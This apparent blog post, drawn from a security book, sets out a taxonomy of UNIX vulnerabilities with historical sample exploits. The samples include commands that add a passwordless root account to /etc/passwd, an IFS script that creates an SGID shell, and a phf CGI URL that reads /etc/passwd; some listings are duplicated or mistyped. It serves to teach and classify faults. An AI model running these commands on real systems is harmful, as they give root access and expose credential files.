Often times, files will be installed in the /usr/sbin or /sbin directories as SETUID root, mostly because files which are supposed to be used by the system administrator are located in /usr/sbin or /sbin. However, the misconception here is that these files need to be setuid and executable by regular users. Typically, having only the administrator have access to them is preferable.
Sample Vulnerability [route permissions, AIX 4.1, Administrator, Credit: Marcio d'Avila Scheibler]
/usr/sbin/route has permissions of 4555, so any user can modify the routing tables.
In the case of this vulnerability, the routing capabilities are being affected. The host can send its packets to another computer and be captured and inspected for content. This can allow an eavesdropper to capture information, even on a switched networked or across WAN.
Log Files with World Access
Logs are the best way of determining the extent of an intrusion attempt. Log files, however, can be tampered with to hide the evidence of illegal activity. In some cases, files can be tampered allowing the ability to attempt higher access attacks without being monitored by the logging system.
Sample Vulnerability [default syslog permissions, Solaris 2.5, Non-Detectability, Credit: Eric Knight]
The /var/adm/syslog permissions are world readable AND world writable by default, meaning that any intruder could erase the logs or change the logs on a whim to cover their activities.
All system logs should be written to either by the administrator or through an administrative function. It was a considerable surprise to find that many of the version of Solaris created system files with world read and write access by default, giving the ability for an intruder to erase the evidence of their hacking. I've seen versions where /var/adm/messages was also created world writable, I believe it was because of the scripting tools used for installation, but never was certain.
Work Directories with World Access
As a precursor to a race condition, a program uses a work directory with world access. This allows for the possibility of race conditions, altering of information, or even a user hiding files in a location outside of their home directory.
Sample Vulnerability [Common Configuration Problem, /usr/spool/crontab configuration]
By default on many old version of UNIX the /usr/spool/crontab was distributed world readable and world writable. Any user could modify the /usr/spool/crontab/root file to execute commands as root.
In this case, too much access was given, and taken advantage of. Even in a shared computer environment, strict controls need to be placed on whom can use files at any particular time. One of the great advantages of UNIX is that many people with many types of access can use it simultaneously, and protection needs to be provided so that one user cannot adversely affect the other users.
Installed In Wrong Place
Although modern software is often dynamic and can be placed anywhere on a system, it can be installed in the wrong location that may allow either unusual behavior from the program, or having others have access to the program that they should not.
Over-Optimistic Security Permissions
One program that has had a number of problems with security is the install program, which by default on many platforms was setuid root. Although it was argued for a long time that the security inside of install was good enough to prevent abuse, eventually the setuid bit was removed. What follows are two examples of problems install has had in the past.
Sample Vulnerability [install, general, Administrator Access] % cp /etc/passwd /tmp/passwd
% echo "intruder::0:0:The Intruder:/:/bin/sh" >> /etc/passwd % install -d -o <username> /etc % cp /tmp/passwd /etc
Sample Vulnerability [install, general, Administrator Access]
% cp /etc/passwd /tmp/passwd
% echo "intruder::0:0:The Intruder:/:/bin/sh" >> /etc/passwd
% install -d -o <username> /etc
% cp /tmp/passwd /etc/passwd
% install -f -o root /etc/passwd
% install -f -o root /etc/passwd
Policy Error
Policy error is a situation where human influence is mandatory for execution of the vulnerability, or how the vulnerability affects maintenance of the host. The author was unable to gain clarification on to how policy interacts with this taxonomy, so the example presented is an example of default scheduling policy.
Sample Vulnerability [Default crontab contents, RedHat Linux, Denial of Service, Credit: Dave G.]
A vulnerability in temp file usage by default Redhat linux crontab entries allows a file to be overwritten with random data once per week. This vulnerability stems from the execution of the updated program being executed by the cron daemon that, in turn, creates a predictable temporary file that, if replaced with a symlink, will overwrite the file targeted by the symlink.
In this example, a policy in Redhat has been to run the updated program weekly with administrator access, and there is a flaw that allows the easily predicted /tmp file to overwrite any other file on the system. This can be used as a denial of service, definitely, but might also be used creatively to gain higher access to destroy evidence of log files.
Backup Insecurity
It is quite common in the course of backing up software that vulnerabilities are introduced in the process of making the backup, or that the original problem never truly goes away. Although in many cases, backing up software is ideal, keeping the copy of the insecure files can introduce more vulnerabilities.
Sample Vulnerability [patchbasepatch, Irix 6.2, Administrator Access, Credit: Paul Tatarsky]
After patching an IRIX machine for other security holes, a copy of the "buggy" software package is left on the computer in the /var/inst/patchbase directory with the suid permissions intact, allowing a user to still obtain root access with the hole that was patched for.
Problems such as this one exist when a software package becomes too feature "rich". Basically, patching on this platform actually keeps the problems on the host because the software designers were afraid to delete them.
Environment Faults
An environment fault is associated with the environment and not the specific software. In many cases, the software was written correctly in terms of internal logic, but outside influences made the program vulnerable. In UNIX, the Kernel and the Shell Interpreter are considered parts of the environment that a program is running., and they made be modified prior to the software's execution to force the programs' logic to be interrupted.
IFS Vulnerability
A feature of UNIX is the customization of the IFS variable. IFS is the divider between commands passed to a shell interpreter. Normally the IFS is set to a semi-colon and the carriage return by default. For example, if the following command was given at the command line:
$ /usr/bin/ls -laR > /tmp/tmp.1 ; /usr/bin/grep steve /tmp/steves-files It would be the same as executing the following two commands:
$ /usr/bin/ls -laR > /tmp/tmp.1
$ /usr/bin/grep steve /tmp/steves-files
However, because the semi-colon is a part of the environment, and many program rely on small programs which the shell interpreter runs, a program can be fooled into altering the flow of logic. Lets assume that
the IFS variable was set to '/' instead of The command in the first example would now execute like this:
usr bin
ls -laR >
$ tmp
$ tmp.1 ;
usr bin
grep steve
$ tmp
$ steves-files
Attempt to run program 'usr' Attempt to run program 'bin' Attempt to run program 'ls' with arguments "laR" and redirect it (causes an error) Attempt to run program 'tmp' Attempt to run program 'tmp.1' with ';' as an argument, or it is ignored, depending on the shell being used. Attempt to run program 'usr' Attempt to run program 'bin' Attempt to run program 'grep' with the argument "steve". This will cause the program to hang until a ctrl-D is received. Attempt to run program 'tmp' Attempt to run program 'steves-files'
The logic of the script has been altered significantly by changing the IFS value. By putting the current directory in the PATH environment, and creating an executable program named "usr", "bin", "tmp", etc. can interrupt the logic of the code thereby exploiting this vulnerability.
Programs which use the popen(3) function, the system(3) function, or remotely call upon shell scripts to perform tasks are particularly susceptible to this form of attack. It is suggested to avoid using all three of these programming techniques, regardless of the programming shortcuts they provide.
Sample Vulnerability [/usr/bin/bellmail, Read Restricted Files, AIX 3.2.4, Credit: Andrew Green]
% cat > usr << EOF IFS=" " Export IFS
/bin/cp /bin/sh /tmp/.1 /bin/chmod 2777 /tmp/.1
EOF
% chmod 7 55 usr % setenv IFS /
% echo "At the ? prompt, send mail to a user (m username)" % bellmail % unsetenv IFS % rm -f usr
% echo "Execuing SGID mail shell" % /tmp/.1
Environment Variable Settings
Programs often accept input from several sources, and one of them in from the shell environment. Sometimes a string is copied from the environment without bounds checking, which can cause a fault. Other times, environment variables are erroneously determined to provide flawless data.
Sample Vulnerability [telnet, BSD 4.4, Administrator Access]
telnet passes LD_LIBRARY_PATH into the host, which can be replaced by another, tampered library, which the /bin/login program is forced to use. This allows a root access, but isn't vulnerable unless user already has an account on the attacked host.
In this example, the system library being used was switched, and the program executed anyway even though the library contained hostile code bypassing the security on the host. The environment on some
computers allows the replacements of libraries for certain programs through the environment, and this can lead to serious compromises if done correctly.
Shell Interpreter Vulnerabilities
Sometimes the interpreter itself has a flaw, one that may be exploited to gain higher access. Usually this occurs when too many features are added to a shell interpreter, that one of the more modern features may grant too much access. Given the interchangeable nature of most UNIX shells, in some cases vulnerabilities can forced by switching preferred shells.
Sample Vulnerability [BASH Interpreter Separator, User Access (?), Credit: Zeed]
An undocumented "feature" in the GNU Bourne Again Shell allows the value $FF to be used as a separator for commands. The $FF separator in BASH can be used to remotely execute commands with the phf cgi-script:
http://victim.com/cgi-bin/phf?Qalias=$ffcat%2 0/etc/passwd
In this example, the shell interpreter was forced into executing a new command, the $FF has the same effect as the command separator. Therefore, the software wasn't able to detect the "sneaky" use of it in the provided exploit, and therefore allowed the display of the /etc/passwd file.
Environmental Fault Taxonomies
The Aslam-Krsul-Spafford Fault Taxonomy is a very complete work, and the purpose of this book isn't to alter the logic presented, but present a suggestion toward making the Fault Taxonomy more practical in real life application. The most important aspect that would simplify the taxonomy would be to clearly state that the taxonomy should be broken down into many unique taxonomies based on environments, and a single high-level taxonomy cannot hold the entire universe of problems and be viable.
For example, the computer game "Ultima Online" had a number of computer flaws that gamers "exploited" for gain, however gain in the game could be "killing players", "duplicating items", "stealing items", and so forth. Is it a computer crime? Yes, the parent company suggests contacting the FBI about in-game thefts. Is it a vulnerability? Yes, fits all the classic attributes and conditions of one. However, the faults for this environment are unique, and warrant administrating a specific taxonomy tree for only this environment.
An Environmental Fault Taxonomy (E.F.T.) is a standard fault taxonomy designed to contain only problems that affect a specific environment. EFTs can be considered fault templates that can be mixed with other fault templates to produce a taxonomy for an operating system. For example, the file-system for UNIX has an EFT, the Kernel would have an EFT, the Library would have an EFT, the Access Control Layer would have an EFT, and the Shell would have an EFT. UNIX, however, would have a vulnerability set that has the combination of all of the EFTs.
In this way, if a protocol such as CIFS had an EFT specifically designed for it, it could be implemented with UNIX. CIFS would inherit overflows and environment problems by merging its EFT into the standard UNIX EFT, but that is to be expected. This makes it easy to consider security from an Object Oriented approach, and consider security in Object Oriented terms. A complete UNIX EFT would inherit the entire subordinate EFTs, which describes the inheritance process of this model.
Figure xxx: Inheritance Flow of EFTs
In figure xxx, the EFT for the UNIX operating system in question is defined as the sum of the components that make up the operating system (Kernel, Library, Shell), and the components that make up those components. When one considers, the existence of added software such as Oracle or X-Windows effects the security of the entire system, including the other software application. If X-Windows was compromised by a vulnerability, the intruder may be able to modify the Oracle installation.
An EFT document should contain a description of where it appears in the standard Aslam-Krsul-Spafford Fault Taxonomy in terms of its first two layers (such as Coding Fault/Timing Window) and the nature of its existence. The list that is created should be easy to merge into another fault taxonomy.
The combining of these taxonomies when needed creates a "living taxonomy" which is easier to maintain, easier to judge effect and impact, and ultimately adds clarity to the security model of any product.
No comments:
Post a Comment